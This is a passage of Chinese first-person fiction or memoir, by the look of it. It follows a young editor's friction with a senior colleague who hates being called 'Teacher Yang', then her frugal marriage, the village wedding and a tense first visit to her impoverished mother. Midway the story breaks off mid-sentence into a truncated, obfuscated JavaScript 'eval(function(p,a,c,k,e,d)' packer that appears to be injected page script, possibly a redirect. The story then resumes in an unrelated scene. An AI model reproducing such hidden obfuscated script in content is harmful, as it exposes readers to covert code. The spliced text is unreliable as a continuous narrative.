杨编辑沉着脸说:“你们该怎么论就怎么论。不要扯上我。我们还是同事。你就叫我‘杨杨’,或是‘阿杨’。” “杨老师”只是一个称呼而已,跟年龄有什么关系呢?何以杨编辑对“老”字如此忌讳呢。我大大地不解了,同时也是大大地不能更改了。 我每次见到杨编辑都是硬生生地叫她“杨老师”。而杨编辑也越发不高兴,到底是怒形于色了。继而是直接警告了。 “不要叫我杨老师,叫我阿杨!”她怒气冲冲地命令着,“我喜欢这样叫,这样叫显得亲切。” “哦!”我讪讪地答应着,心中升腾起一种畏惧、威压,恼怒和疑惑:叫“杨杨”,叫“阿杨”,那是需要同等地位的轻松和宽松的,可是,我连一个“杨老师”都不能称呼,我叫她“杨老师”她都生气,我哪里又有那么轻松的心态再去叫她“杨杨”呢。我一开始工作就得罪了《小坛》中文组的头号人物,更加拘谨而惶恐了。“杨杨”二字也就更加叫不出口了。 杨编辑也经常借着对小潘说话的空儿敲打我。 一次,大家都在伏案工作,她突然莫名其妙地跟小潘说:“你刚才叫我杨老师的?” “没有啊?”小潘说,“我叫你杨杨啊。” “就是的,我还说呢,你叫我什么杨老师,神经病啊!”杨编辑的“神经病”三个字当然是说我了,因为就我叫她“杨老师”。 组里要集体审稿件了。老聂开始分配任务。 “我们这几天要集中修改稿件,我现在把人员安排一下。杨婵和吴悠悠一组,林大师和我一组,郝跃和乌编辑一组。宋大省和陈编辑一组。好了,大家抓紧时间改稿,争取明天把这批稿件修改完成。” 大家开始修改稿件了。 过了一会儿,林大师说:“老陈呢?他去哪儿了?他怎么到现在都没有现身?” “陈公公啊?他忙啊!他要在御前行走,他哪有时间改稿子啊。”老聂说。 “那他的任务全落到小宋头上了?”林大师说。 “那没办法,谁让小宋是个快手儿呢。”老聂说。 过了一会儿,陈编辑从外面进来了。 “你们都在改稿的?”他看着大家说。 “嗯,你忙完了?”老聂问他。 “哪有啊!今天,社里来了一棵榕树,老任说要把它种在大门口儿,他让我去看着。” “我今天上班来的时候看到一个吊车拉着一棵大树,你们就在弄它啊?”乌编辑说。 “就是它!搞到现在还没有把它放下来!我还得去看着去!尼玛!”陈编辑说,“我走了!小聂!” 陈编辑说着走了出去。 “你看!说走就走了。该改的稿件一份也不改。”乌编辑说。 “陈公公反正是,天天忙得很!”老聂笑着说。 “他光忙公务去了,本职工作就不管了?他的稿件全给小宋改了?那他的那份工资能让小宋拿吗?”林大师说。 “他的工资谁能拿的了?直接打卡!”老聂笑着说。 “哦,活儿给年轻人干,工资他来拿。这不地道。”乌编辑说,“像我嘛,我虽然年纪大了,眼睛也花了,但是改稿子的事情我都是亲力亲为。是吧?” “就是的,师父。”我说,“不行,你下次分配任务就不要把陈编辑分给我了。他也就是挂个名儿。你让他跟我一个组,表面上看起来是两个人,搞地还很公平似的。他又不干活儿。你还不如就直接让我一个人一组呢。这样赤裸裸地,我一个人干两个人的活儿,反而痛快!” 老聂笑着说:“小宋是快手嘛,不把他安排给你,把他安排给谁?给郝跃啊?让他们两个改地慢的一个组啊?” 我也笑着说:“就因为我是个快手,所以就给我安排一个挂名儿的?” 杨编辑说:“是的哎,今年安排给中文组的人手太少了。稿二阶段本来就忙。丁丁不是任务少嘛,她今年负责稿一阶段,怎么不让她来帮忙啊?” 我说:“丁丁?你是说小丁丁吗?她不是只有四五岁吗?” 杨编辑说:“谁说她呀?我说的是中文组的丁编辑!” 我说:“哦,我还以为你说的是信息组的丁编辑家的小丁丁呢!信息组的丁编辑也叫丁丁,她家的孩子也叫丁丁。我都不知道你说的是哪个丁丁了。” 杨编辑说:“我说的当然是我们中文组的丁丁了!” 我大笑着说:“中文组的丁编辑都快五十了!你还给她叫丁丁!” 杨编辑说:“我喜欢这样叫,这样叫着亲切嘛。” 我说:“我可不敢这样叫她,像你们这样的老员工才敢这样叫她!” 我的话还没说完,老聂就打断我了:“你不要叫人家老员工,把人家叫老了。” 杨编辑在旁边也登时阴沉了脸色。 完了!我又提“老”字了!我又一次没心没肺地把杨编辑给得罪了! 我非常苦恼,非常无奈,非常苦闷,以至于我回到家跟久未谈心的黄林军说起了这件事儿。 我说:“我师父的老婆,姓杨,我应该称呼她师娘的。可她非要别人叫她‘杨杨’、‘阿杨’,我实在叫不出口。为什么就不能叫她‘杨老师’呢。大大方方地叫‘杨老师’不好吗?” 哪知道,黄林军非常理解阿杨的心情。 他沉着脸来断然批评我说:“她让你叫她‘杨杨’、‘阿杨’,你就叫她‘杨杨’、‘阿杨’呗。” 我说:“她是我师娘,又是《小坛》的大姐大,高高在上的。叫她‘杨杨’‘阿杨’,我叫不出口啊!” 黄林军说:“对于她来说,叫她‘杨老师’,就像叫她猪、叫她狗一样难听。人家都不能接受了,你干嘛还非要那样叫人家呢!”黄林军言之凿凿,我更加头疼了,我是不愿意得罪这个高级人物的,可是我实在叫不出口啊。很长一段时间,我困惑不已,惶惑不安。 适者生存,我要生存。于是我也试着叫她“阿杨”。 “阿杨!”我说。 “哎!”她听了很舒适。这以后我就叫她“阿杨”。我们之间的气氛也果然缓和了很多。我也松了一口气。 有一天,我去菜场买菜。有人在背后轻轻拍了一下我的肩膀。我猛地一回头,见是杨编辑。我本能且欢快地喊了一声:“杨老师!”杨编辑的脸色刷地暗淡了下来。天阴了,完了,我又叫“杨老师”了! 我这个该死的不争气的嘴啊! 于是我又改邪归正,下次见了她,又叫她“阿杨”。我小心翼翼地看着杨编辑的脸色,杨编辑也大大方方地没有阴沉她的脸色。 但是,这件事让我给她留下了很坏的印象,我在她心目中大概是个别扭的人。同时,在我心里,我也觉得杨编辑是个很别扭的女人。所以,我跟杨编辑的感觉一直是咯咯吱吱的不太对付。 3.结婚 他带着我回他家了。他的父母筑庐在离他们的村庄还有半里路的地方,距离他二叔、三叔家还有一段坟场。几间带帽檐儿的瓦房,坐落在昏黄的田野间,像是隐士居住的地方。我提着买的东西,他费劲儿地推着他的摩托车,沿着长满黄草的田间小道,深一脚浅一脚地往他家里赶去。 回到他老家,他父母就一样样地洗菜、配菜,翻炒,一盘子一盘子地端上桌。他妹子、妹夫、六岁的小外甥,一大家子围坐在一起。我家基本上没有这种盛况。我回娘家我妈妈从来不给我做饭,炒菜也还是只炒一个。我妹妹虽然结婚了,但是她家跟娘家很近,她们几乎不在娘家吃饭,我妈妈嘴上说着“恁在这吃饭吧”,其实她根本就没有为女儿、女婿准备任何饭菜,她也乐得她们不在娘家吃饭。 我跟他结婚之前,跟我妈妈打了电话,把他的情况简单说了一下。那时,我就站在《小坛》正对南大门的主楼底下。我知道,我的事,我妈妈不会管,想管也管不到。 我妈妈说:“只要你好,我没有任何意见。咱家的情况你也知道,恁弟弟还没结婚。虽说手心手背都是肉。可是恁妈是没那个能力再给你嫁妆钱了。妈妈对不起你!” 我妈妈说着还哭了。 我赶紧制止她:“没事儿的妈妈,我不要什么嫁妆了。我读研的时候,俺那些同学都说了。我的学历就是我的嫁妆。” 我对我妈妈的那两句带着哭腔的歉意并没有多么感动。我知道我妈妈的哭腔里头有几分对女儿的歉意也有几分逃避。如果能够用几声儿哭泣来换取一笔款项,那这几声哭泣还是很划算的。何况,我的答复让我妈妈也比较满意。我妈妈也没要什么条件,我当时也不知道管他要什么条件,不知道要工资卡,不知道要求婚后管钱,他也没提。 “彩礼你要多少?”他问我。我心里一动,他还要给我彩礼呢。我那时候可真傻。 “你们这边彩礼都是多少?”我问他。 “我们这边彩礼有的三四万,有的六七万。我妹妹结婚要了三万八。我家还陪送了嫁妆。塞了满满一卡车。”他说。 我说:“那我要四万吧。” “我没有四万。三万可以吗?直接给你,我不要了。” 他说。 “行吧。”我说。 其实,我现在才想明白,他那时候不是没有那么多钱,而是出于他的一番高明的计算。这个高明的计算好像在民国初期一些大师身上就有过先例:那即是,如果别人向你借钱,你实在不好意思不借的话,那就打个极低的折扣给他。这样一来,即使借钱的人家以后不还,那么,借钱出去的人家也没有多少亏损。他在我们结婚这件事上,是盘算胜过了诚意的。 “家里的窗帘、灯还没装呢?餐桌、沙发、电视也没买。”他说。 “我来买。” 我很大方地说,“你买房,我装修。” “床也要买个新的。”他说。 “床也要女方买啊?”我不解地问他。 “当然了。我们这边有说法的。女方家买的床,睡着生儿子。”他说。 “我都买那么多了,床我就不买了。结个婚,男方连个床都不准备啊,还得女方买啊。”我说。 “你看你。你买的那些能值多少钱,也就万把块钱。你说地你装修的,才花万把块钱你就不想出钱了?” “我才工作几年啊,我哪有那么多钱啊。”我说。 “你说你要装修,我还以为你多有钱呢。”他说。 “婚期定在哪一天呢?”他问我。 我说:“我今年负责稿二阶段,比稿一阶段忙多了。我要是请假了,还得找人顶班。人家都那么累,我不想麻烦他们。六月份,我们的工作稍微轻松一点,我们就订在六月七八九吧。” 他说:“阳历六月份正好是农历四月。农村讲嫁四不嫁三。也行。” “我们结婚,还得给你买几件饰品吧。这个我家里有,可以拿去换。这周末我们就去换吧。”他说。 “好。”我又满足地同意了。 “你看我对你多好,又给你彩礼又给你首饰。”他说。 周末,他带着我去市里换首饰。 我们走在路上,我问他:“我们这是去哪里啊?” 他走在头里说:“先去周大福,把金手链换了。再去通灵珠宝,把那个戒指换了。咦,这条路是这样走的吗?我都要忘记了。” 他在前头边走边说:“我妈妈还不想让我拿来换的,她让我重新买。” 我在后头跟着说:“她为什么不让你换啊?” 他有些悻悻地说:“她怕你不跟我呗!”你看,他就是这样。只要是谈及他妈妈,我还没有发表任何意见呢,他就莫名地开始恨我了。 “你说,这些首饰不换的话,留在家里干什么?”他说。显然,他觉得自己的决定很英明,很伟大,简直是棒极了,妙极了。后来,我们离婚的事实证明,他的英明的决定果然是非常伟大非常正确的。是的,他的盘算是对的。他胜利了。一个从一开始就被老谋深算的婚姻注定会失败的。 “换换又是新的,跟新买的有什么区别。”他昂扬地说。他从来不觉得我应该有什么委屈。我心里虽然觉得不大痛快,但还是逆来顺受了。我那时候怎么那么好说话呢?我现在想想他的样子,什么是亏妻者百财不入,真是活该他孤家寡人啊。 婚期定在六月七号。一天,我正在办公桌前忙碌着,张小倩给我打电话说:“宋编辑!这周末社里派我去出差,我家里有点事,走不开,你能代我去吗?” 我说:“张姐,这周末我结婚!” 她说:“啊!那恭喜你啊!不好意思啊!” 我说:“没事!” 临近婚期的前几天,天气预报一直是大暴雨。我非常着急,怕到时候,他家的亲戚朋友往返不方便,给人添麻烦,遭人抱怨。 我们结婚的那天早上,下了一点小雨,后来,雨停了。常律师跟秦师娘来了。一位六十多岁的摄像师也来了。 我娘家没有一个人来。他坐着跟常律师一起说话。我自己骑着自行车跑到菜场外面一家小店里去化了妆。为了回来换婚纱穿脱方便,我穿了一件白色带纽扣的衬衣,和一条黑色的裙子。 我化完妆,又穿着白色的衬衣、黑色的裙子,顶着一个英国女王似的王冠回来了。 常律师双手合十,做祝福状:“今天早上下雨了,这是喜雨啊!宋编辑!” 我说:“嗯,谢谢常律师金口玉言。” 我换上了租来的白色婚纱,穿着自己网购来的粗笨的红色高跟鞋,接过摄像师递给我的捧花,在房间里笨拙地扭转了几下,摄像师跟着拍摄。我觉得我自己挽起头发的样子像个地主婆。 我们很快就出发了,他在网上约了六辆红色的马自达。秦师娘作为女傧相,坐在我身后的座位上。 一路无话,很快就到了他们村上。车子开到了石灰路的尽头,停在一户人家门前,前面,一条两边排列着荒坟的黄土小路的北面,就是他家了。马自达师傅们都停了下来,不愿意再往前开了。说是前头路况太差,地上有不少大大小小的石子,两边还有不少伸展出来的树枝,那些车子都是崭新的,马自达师傅怕弄坏了他们的车子。 “哪是路况不好啊,可以开的,他们是调皮,不想开过去。”秦师娘说。 婚车还没有走到头就停下来了,这个说起来是不吉利的。黄林军心里肯定也是着急,可是他不说话,他就木木地杵在那里,眼睛看着他家的房屋。他不说话。他不去跟马自达师傅理论,也想不出任何办法。最后,还是他二舅家的二表哥回家开来了他的枣红色的小汽车。我被他搬到他二表哥的车上,秦师娘让二表哥把马自达上的那盘花也给挪过去。枣红色的小汽车开动了。我们就沿着小路歪歪倒倒地到了他家。 他笨拙地把我抱了下来,他的妹夫,站在屋门口儿拿着喷花等着制造氛围的,可是他抱着我等了他妹夫几秒钟,他妹夫也还没有把花给喷出来。我到了里间屋里,秦师娘帮着我,换上了自己网购的大红色的裙子。 他家正堂屋的桌子上,摆了好多甜甜蜜蜜的吃的。一碗糕,一碗红枣,一碗鸡蛋。 “你吃吧?”我问他。 “我有高血压,不能吃,你吃吧。”他说。 “好吧。我多吃一点。图个吉利。”我吃了红枣,又吃鸡蛋。 他家天井里,支起了一口大锅。年纪大的男厨师在烟雾里忙活着,几个婆子在旁边帮着。他家的西屋里头,堂屋里头,还有走廊上,都摆好了桌子,一共摆了七八桌。全都是他家的亲眷。我娘家人一个也没来。 该吃饭了,我和他,还有秦师娘、摄像师坐在一桌。他的爸爸,脸上被人家给抹了锅灰,笑着从外头走了进来。他妈妈也进来了,进门儿的时候,她看到我,脸上飘过一丝不快,我知道,他妈妈不高兴,因为我娘家没有来人。 我悄悄跟他说:“你妈妈好像不高兴嘛。” 他说:“因为你娘家没来人啊,是不同意呢,还是不高兴呢。” 我说:“我不是跟你说了嘛。我家姊妹几个结婚都不办。我妈妈来了,又要接待又要安排住宿的,我们上班那么忙,也麻烦。” 摄影师边吃边说:“我给人家拍过很多婚纱录像。这个时候,麦子已经割完了,地里光秃秃的。要是在春天,地里全是绿油油的麦子,那才叫壮观!” 我抬眼往窗外一看,地里,已经剩下新鲜的麦茬了。就像我们这些剩男剩女一样,确实没有什么好风景了。 他家的婚礼结束以后,他跟我说:“我们找个时间再请请同事吧。” 我说:“好啊。我们就挑个周五晚上吧。我周五下午正好没事儿,我忙完就回来,这样不耽误功夫。也不要专门请假了。请假还得找别人代班。” “好。那我也不请假了。”他说。 “我们到时候,要请个人上去讲两句吧。”他说。 “请人讲干什么?你也可以讲啊?”我说。 “我哪好意思讲。”他说。 “这有什么不好意思的,你就上去大大方方地讲呗。你还是编辑呢。实在不行,你就打个草稿。上去对着稿子读呗。” “不行,我要请个人帮我去讲。”他说。 他开始打电话请人了。 “喂!何主任!这周五晚上,我想请同事参加我的婚礼。你看看,到时候,你能上去帮我讲两句吧?”他点头哈腰地对着电话那头说。 “哎呀!这个,你结婚嘛,对吧,我怎么好上去帮你讲呢。你要么请个司仪,要么自己上去讲嘛。”电话另一端的大概五十多岁的男人说。 “你是领导嘛,你帮我讲讲了喂。”他谄笑着说。 “哎呀,这个实在是爱莫能助啊。我也不知道该讲什么,是吧?要不,你看看你们组长马丽,你看看她能帮你讲两句吧。”对方的老头儿踢皮球说。 “那好,我来问问马丽。好。嗯。”他卑躬屈膝地说。 “喂!马丽!”他又眉眼挤在一起谄笑着跟对方说。 “是这样的,我不是要结婚嘛。我想请同事吃个饭。到时候,你能帮我上去讲两句吗?”他奴颜婢膝地乞求说。 “这个我怎么好上去讲呢!我哪能讲!”电话那头儿的马丽断然拒绝道。 “你帮我讲讲了喂!”他用比女人还难听的不男不女的声音谄笑着说。 “我不讲!我哪能讲!我怎么好讲呢!挂了挂了!”对方断然挂了电话。 “都不给我讲,娘希匹!”他说。 “那你就自己讲呗。本来就不要请别人讲啊。”我说。 请客的那天,天很热。我忙完工作回到家里,看见床上还盖着厚被子。我就骑上自行车,去家纺店里买了两床夏被,着急忙慌地带回家,把家里的厚被子给换了下来。 没过多大功夫,他下班回来了,他的父母也来了。我们拿着东西打车去了饭店。 宾客还没有来,我们拿着烟酒喜糖橙汁雪碧一桌一桌地摆。 “你就这样?也不去化化妆?”他抱着烟酒在大厅里走着,转过头儿不高兴地问我。 “有什么好化的?人家同事是来吃饭的,又不是来看我的。大家平时谁不知道谁啊。化了妆反而假假的。我这样扎个马尾辫蛮好的。”我说。 “哎!连个妆都不化!不知道你在忙什么!”他在前面愤愤地走着。习惯性地摇了摇头。 他的母亲跟在他后头,跟他步调一致地阴了脸色。她看了我一眼,好像一个宠臣睥睨着另一个罪臣。那时候,在我的绝对的弱势面前,他风头正劲,他的母亲也跟着信心百倍。 宾客都到齐了以后。他要前去讲话了。我也跟他一起走了过去。我昂首挺胸地站在他的左手边儿。他拿起话筒,低着头,耷拉着肩膀,歪着屁股,斜岔开腿儿,站在舞台中央。像个宣读罪己诏的罪犯一样,他开始讲话了。 “尊敬的领导!同事!大家晚上好!”他用温和的讨好的口气说,“感谢大家在百忙之中来参加我的婚礼。首先,我要感谢我的父母。是他们辛辛苦苦地把我养大。他们都是老老实实的农民,为了供我上学,他们吃苦耐劳,艰苦奋斗。他们一辈子恩恩爱爱,和和睦睦。他们的这种家风也深刻地影响着我。” 台下鸦雀无声。 一个年近四十的大龄未婚男青年,对自己父母的竭力赞颂,着实没怎么让大家感动。 “接着,我要感谢宋编辑。我几年前买了房子,简单装修以后住了进去。那时候,我的家还不叫家,那只是一个房子。宋编辑来了以后,那才叫家。”他接着说。 “好!”台下一片掌声。 宴会结束以后,众宾客都撤离了。我们又开始打包剩菜,收拾烟酒。 “你不请假,害得我也没请假,匆匆忙忙的。唉!”他又气愤又无奈地说。 “进门儿那个桌子为什么没有人坐?因为那是四号桌!我们匆匆忙忙地居然设置了一个四号桌!人家来赴宴哪有坐四号桌的?唉!”他又习惯性地无奈地摇摇头说。 既然罪过都是我的。他的母亲也不说话。我在他的习惯性的打压下也习惯性地不辩驳不说话。 我们一起把那些啤酒、饮料都搬到酒店门口儿的马路牙子上,叫了一辆车,打算把那些东西连同我们这四个人一起搬运回家。出租车还没有来。我们站在马路牙子上等着。 因为忙着搬运东西,我们都忙地浑身是汗。 “天太热了,太渴了!”我说,“要喝水的。” 我打开一瓶橙汁,跟他妈妈说:“妈,你喝水吧?” “你先喝!你喝完我再喝!”他妈妈说。 我抱起那一大瓶橙汁哐啷哐啷喝了起来。喝完以后递给他妈妈。他妈妈也举起那瓶橙汁哐啷哐啷灌了起来。 “渴死了!”他妈妈说。 4.回家 婚后的一天,他陪我回娘家。 我说:“天气很热,你就不要穿你的皮鞋了。” 他说:“那怎么行,第一次见丈母娘,肯定要穿地规规矩矩的。” 我说:“真的没事。你到了我家就知道了。我家的环境根本不需要穿地那么整齐。”他还是不肯,非要穿上他的皮鞋。 我们坐高铁,很快到了我们镇上。我们站在街口等我妈妈。没过多大一会儿,远远的,我就看见了开着三轮车来接我的妈妈。我喊了一声“妈妈”,我妈回过头来,一头苍白的头发和一张历尽沧桑的晒地黑黄的脸。我估计我妈妈的这一身打扮,叫黄林军穿越了,石化了。因为在这样的年代,很难看到我妈妈那样的气质和打扮的。 我妈妈那天的打扮让人想起很多诗句: “锄禾日当午,汗滴禾下土。谁知盘中餐,粒粒皆辛苦。” “赤日炎炎似火烧,野田禾稻半枯焦。农夫心内如汤煮。公子王孙把扇摇。” “寂寞天宝后,园庐但蒿藜。”“久行见空巷,日瘦气惨凄。” 黄林军的脸色有些丧,他讪讪地毫无知觉地叫了我妈妈一声“妈。”我妈妈也感受到了他无法热情起来的那声“妈”,她也讪讪地答应了一下。是的,素未谋面素不相识,毫无血缘关系的两个人,一个要被迫毫不情愿地叫另一个“妈”,另一个,也得被迫毫不情愿地答应着。 我顾不了那么多,我知道这时候,我该大展身手,奋发作为了。对于我家来说,女儿出嫁了回娘家就是要回馈娘家的。 当时正是逢集,我就开始有些慌乱地往我妈妈的电动车上掷东西: 瓜子,花生,一大块猪肉,一捆子芹菜,一把粉条子。 农村的大集上,无非是这些,根本不值几个钱。黄林军看着,不说话。不知道是因为我妈妈的穿着太差,还是他觉得我买地太多了,他的脸上有些不高兴。 “好了好了!拜买了,拜买了!”我妈妈说。我知道这些也就几百块钱,根本不够一个闺女回娘家的排场。闺女回娘家该买什么,我也不知道。烟酒那些东西,我家也用不着。只好买些吃的。 我买了东西放到我妈妈的三轮车上。我妈妈反而不高兴了。 “我最爱吃鸡蛋花生了,恁多给我买点鸡蛋花生,比什么都强。鸡蛋又好吃,又吃不坏人。蒸着吃,炒着吃,怎么吃都行。你买了这些肉,我吃不下了。我年纪大了,吃不了多少东西了,不像年轻的时候了,年轻的时候能扒菜,现在不行了。”我妈妈说。 我说:“我先给你买这些,鸡蛋花生,平时笑笑就能给你买。你自己也能买。” 黄林军的脸色明显地不高兴了。我不管他,又买了一些烧饼馒头,还买了一包熟菜,放到我妈妈的电动车上,然后,我就跟他一起坐上我妈妈的电动车回家了。 我这次跟他一起回娘家,带了两千块钱。我心里想,我妈妈以前从来没有给我烧过菜,这回,应该会给我烧一桌子菜吧。就算我拿两千块钱换呢,也能换你一桌子菜吧。何况,这次我弟弟也难得在家。他应该会安排的吧。好歹给我个面子啊。 等我到了家,才发现院子里空空如也,并没有七碟子八碗,桌子也没有。我们家吃饭一向是没有桌子的,如果在屋里吃呢,那就是在一个小铁床上搭个木板子。如果在屋外吃,那就是在一个一尺见方的坐床子上,架上一个不知道从哪里捡来的黑色油漆的木板子。这回,天井里,连个吃饭的木板子也没有架起来。我还是有点不敢相信。难道饭菜都摆在屋里了?我妈妈真的没有提前准备? 我跟黄林军一起站在大门口儿,正在纳罕。这时候,只见我妈妈走到了屋里,在床底下开始“哗啦哗啦”地翻找碗。不一会儿,我妈妈弯着腰,吃力地从屋里捧出来一摞碗,一摞布满了历史的尘土的碗。她弯着腰,小心地吃力地抱着那摞碗从屋里走出来,朝天井的井台子走来,准备去洗。我真地有点生气了。平时不给我做菜也就罢了,现在我带着新婚的老公第一次回娘家啊,你个当妈的居然连个热菜都没有给我烧。这就算闺女婿不生气,闺女也生气了啊。黄林军也不吭声,有些郁闷地站在那里。 一时,我们两个都杵在大门口儿那里。 我有些赌气地说:“妈妈,要不俺走吧。” 我妈妈皱着眉头有些央求地说:“恁吃点饭儿再走吧!” 我也不好太跟我妈妈赌气,毕竟我千里迢迢地过来的。我就拿出来我买的熟菜,让我妈妈来一起吃饭。 我妈妈说:“我清起吃饭吃地晚,现在吃不下,恁先吃。” 我就跟黄林军一起吃了起来。毕竟是饿了,我们竟也吃地蛮香的。 我们吃着饭,我妈妈煞有介事地说:“我知道你会买,所以我没烧饭,天热。咱家又没有冰箱。”我嘴里没说什么。心里想,你总是会为自己找借口,做事儿做成这样儿,太说不过去了。这会儿,还在为自己辩解呢。把自己的邋遢抠门懒惰说地很有道理似的。 吃完饭,我们坐在天井里,帮我妈妈剥着蒜,跟我妈妈说说话,我妈妈竟也谈笑风生,对午饭的事毫不在意。在她心里,她对女儿就应该这样的吧。或者,在她心里,省一顿饭钱加做一顿饭的功夫,怎么说都是很划算的。反正女儿女婿是无所谓的。在她的心目中,反正自家女儿是女的,是女的就不怕没人要。她为女儿做地不好也没什么的。大不了离了婚再找。 傍晚,我妈妈拿出十个鸡蛋,一个个地打在碗里,准备给我们烧个鸡蛋汤。 我妈妈把鸡蛋打在碗里,两只手各拿着半个鸡蛋壳子,对着碗口儿,像是音乐指挥家打拍子似的,又像是赛龙舟的选手划桨似的,很有节奏地一甩一甩,甩上足足有七八次,直到把蛋壳里残留的蛋清全部甩下来。再去打下一个蛋,打完了继续甩。 黄林军看着我妈妈这样反复甩蛋壳的动作,又看了看我。我知道我妈妈那动作确实不好看,显得很抠门儿。但是碍于我妈妈的情面,又怕打压她的积极性,我也不好说什么。 我妈妈不知道,还以为她甩蛋壳的动作很优雅很好看,她笑着歪着头儿看看我,继续一下一下地跟划动船桨似的很有节奏地甩着。 我妈妈烧了鸡蛋汤,炒了一盘子芹菜猪肉,又炒了一盘子豆腐,一盘子豆芽子。饭是大馒头。都是我买来的。这对我妈妈来说,已经是她招待女婿的最大的诚意了。 食物毕竟是能给人好心情的。黄林军喝着鸡蛋汤也笑了起来。喝完鸡蛋汤。我们帮我妈妈剥剥蒜就去找宾馆了。我家是没有地方住的,那样跟老鼠洞一样的地方,就算我能住得下去,黄林军也住不下去。 走在路上,黄林军跟我说:“见到你妈妈的第一眼,我就知道,我穿皮鞋完全没有必要了。” 我说:“我就说嘛。我妈就这样,现在挣钱都给我弟弟了。自己一分钱舍不得花,她自己过得跟乞丐似的。” 他说:“我们那边请人吃饭,豆腐、猪肉早就不上桌了。你妈居然还烧豆腐。” 我说:“她不知道外面的行情。她平时连一块豆腐都舍不得买。” “你给你妈买那么多东西,天那么热,那个肉吃不完肯定会坏。你拿你妈当猪养的!”他愤愤地说。 我说:“我们这边闺女回娘家,讲究排场。尤其是婚后第一次回娘家。别人家的闺女都是给娘家买好酒好肉,买羊腿,买活的公鸡、鲤鱼。我还没买这些呢。我也是难得回来一回,不多买一点说不过去。我们这边闺女回娘家都是要孝敬爹娘的,哪像你妹妹,一家三口回娘家,什么都不带,就带个嘴。” 他说:“我家不要我妹妹买什么。她小时候能吃我家的,现在也能吃我家的。” 我说:“那是因为你家是你上成了学,你父母没有负担。我家是我上成学了,我弟弟不行,我妈妈负担重。而且,我们都三四十了,本来就应该孝敬爹娘嘛。老头子老太太把养了那么多年的闺女嫁给女婿,女婿就应该好好感谢岳父母。哪有岳父母反过来伺候女婿的。” 他说:“我们这边,女婿是娇客。我爸妈对我妹夫好,我妹夫就会对我妹妹好。” 我说:“我妈妈对你不好,你就对我不好了?这是什么道理?你对我好,还得看在我妈妈对你好的份儿上啊?那我多掉价。” 我本来打算过四天的,结果只过了三天,黄林军就要回去了。我只好依着他。是的,跟这个黄门老公在一起的日子里,我妥协的太多了。 临走的时候,我妈妈红着眼睛跟他说了几句话,我走在前头,没有听地太清楚,只是隐隐约约地听到了一句“小苦孩儿!”我知道我妈妈眼泪多,所以她哭的时候我没有哭,我也不想哭。我知道她又拿“小苦孩儿”来说话了。我不喜欢她这样卖惨。作为大闺女,我在我妈妈跟前习惯了克制。而且,那时候,我自以为自己可以过得很幸福。 等我们走远了,黄林军跟我说:“你妈妈让我不要打你!” 回他老家的时候,他为了减轻负担,就让我坐公交车,他自己骑摩托车在后面追。我挤公交车一路经过汤庄,汇庄,再经过朱庄,最后才到了他们镇上。他还没有到。我就站在那儿等他。 我每次回他家,都喜欢去他家镇上的超市里给他妈妈买东西。 “我们去超市给你妈买点东西吧!”我说。 我一买东西就喜欢多买。我围着货架上的那些月饼转着,什么椒盐的、五仁的,我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他爸爸说:“这小鲫鱼是自家塘里的。前几天抓的。” 我说:“你们烧的小鲫鱼好吃。我烧鱼就不好吃,一股子土腥味儿。” 他爸爸说:“拿刀在鲫鱼的背背上刮刮,去去黑水就好了。” 我说:“哦。我以前还不知道呢。” 她妈妈看看盘子里,还有两块猪脚,就用筷子指着盘子说:“还剩两块猪脚了,小军吃这块,小宋吃这块。” 我说:“你吃饭吧,妈。不用分。” 她妈妈两眼痴痴地看着他,低头夹起了两根韭菜,再看着他,伸出下嘴唇,把韭菜填进自己嘴里。 我看看她,她目不转睛地看着她儿子,没有功夫看我,偶尔,那眼神向我投来不屑的一瞥。 饭后,他父母戴上斗笠去田里忙活去了。 “我们去干活儿去了。你们在家里玩啊,小宋。”他妈妈说。 “我们也去帮忙吧?”我说。 “不用你们去。你们哪能干活儿。”他妈妈说。 只有我跟他在家里了。我买的大红礼盒放在他家的堂屋里的地上。他双手插兜,转来转去,闲得没事,就去拆我买的那个礼盒。 “你别拆了。”我说,“留给你妈妈。她自己吃也行,送人也行,给你妹妹也行。你给拆开了,她就不好办了。” “啊?你不是买给她吃的啊!”他惊讶地问我。 我说:“你这说的是什么话?我不是随便她处理吗?有的老人家不喜欢吃这些营养品,她也许有其他的用处呢。亲戚间互相走动,她可以拎了去,挡个事儿。她心疼她闺女,也可以拎去给你妹妹。” “说来说去,你还是不是买给她吃的啊?”他说。 “我连她给她闺女都舍得,我还舍不得给她吃啊?你这人怎么这样说话啊。”我都对他哑口无言了。我委屈地都要哭了。 我说:“幸好你妈妈通情达理,否则,婆媳之间没事儿都被你整出事儿来了。” 正说着,他妈妈从地里干活儿回来了。 “别哭了。”他笑嘻嘻地说。 我还是忍不住跟她妈妈说了。 我说:“我正跟他掰扯呢。他要去拆那个礼盒。我让他不要拆,我说随便你自己处理。他就说,我是不想给你吃。” 他妈妈笑着说:“没事的。” 他爸爸听了也正色说:“小宋说的也有道理嘛。” 我说:“是的呀,为什么我跟你们两个老的都能说地通的道理,跟他就说不通呢。” 快过年的时候,他陪着我回了一趟老家。我去我妹妹家找她玩的时候,就见我妹妹抱着她的小儿子,两个小女孩儿站在一边儿。我妹妹终于生了男孩儿了。 大响给他取名叫乐乐。这个小男孩儿救了我妹妹的命,她终于不用再生了。 两个小女孩儿在房间里皮着。我跟我妹妹一起说话。黄林军坐在小板凳上看电视。偶尔看看两个小女孩儿,傻笑一下,不怎么说话。 “我们说话你听得懂吗?”我问他。 “听不懂。”他说。 小男孩儿要吃奶粉了。我妹妹去一个箱子里拿出来一袋奶粉来,放在茶几上,冲给他喝。 “弟弟喝奶!我喝甜!”老大雪寒蹲在茶几旁跟我说。 “雪寒爱喝糖水吗?”我问我妹妹。 “什么哎。人家这么大的小孩儿还吃奶呢。俺这个是吃不起奶粉了,就只给最小的乐乐吃。两个小女孩儿就喝点糖水。乐乐吃的奶粉都是批发的,一包包的,跟洗衣粉似的。就这样,老嫲嫲还不想给吃呢。弄点儿钱都给老头儿住院了。老头儿得了肺气肿,三天两头儿地住院。老嫲嫲有钱给老头儿住院,没钱给乐乐吃奶粉。老头儿吧,跟换了魂似的,他现在不能上街卖菜了,天天搁家里找我事儿,跟我吵架。把我气地要命。就这样,我中午做了饭还得给他送去。” 我说:“恁老公公刚开始不是对你蛮好的嘛。怎么现在天天跟你吵架的。” 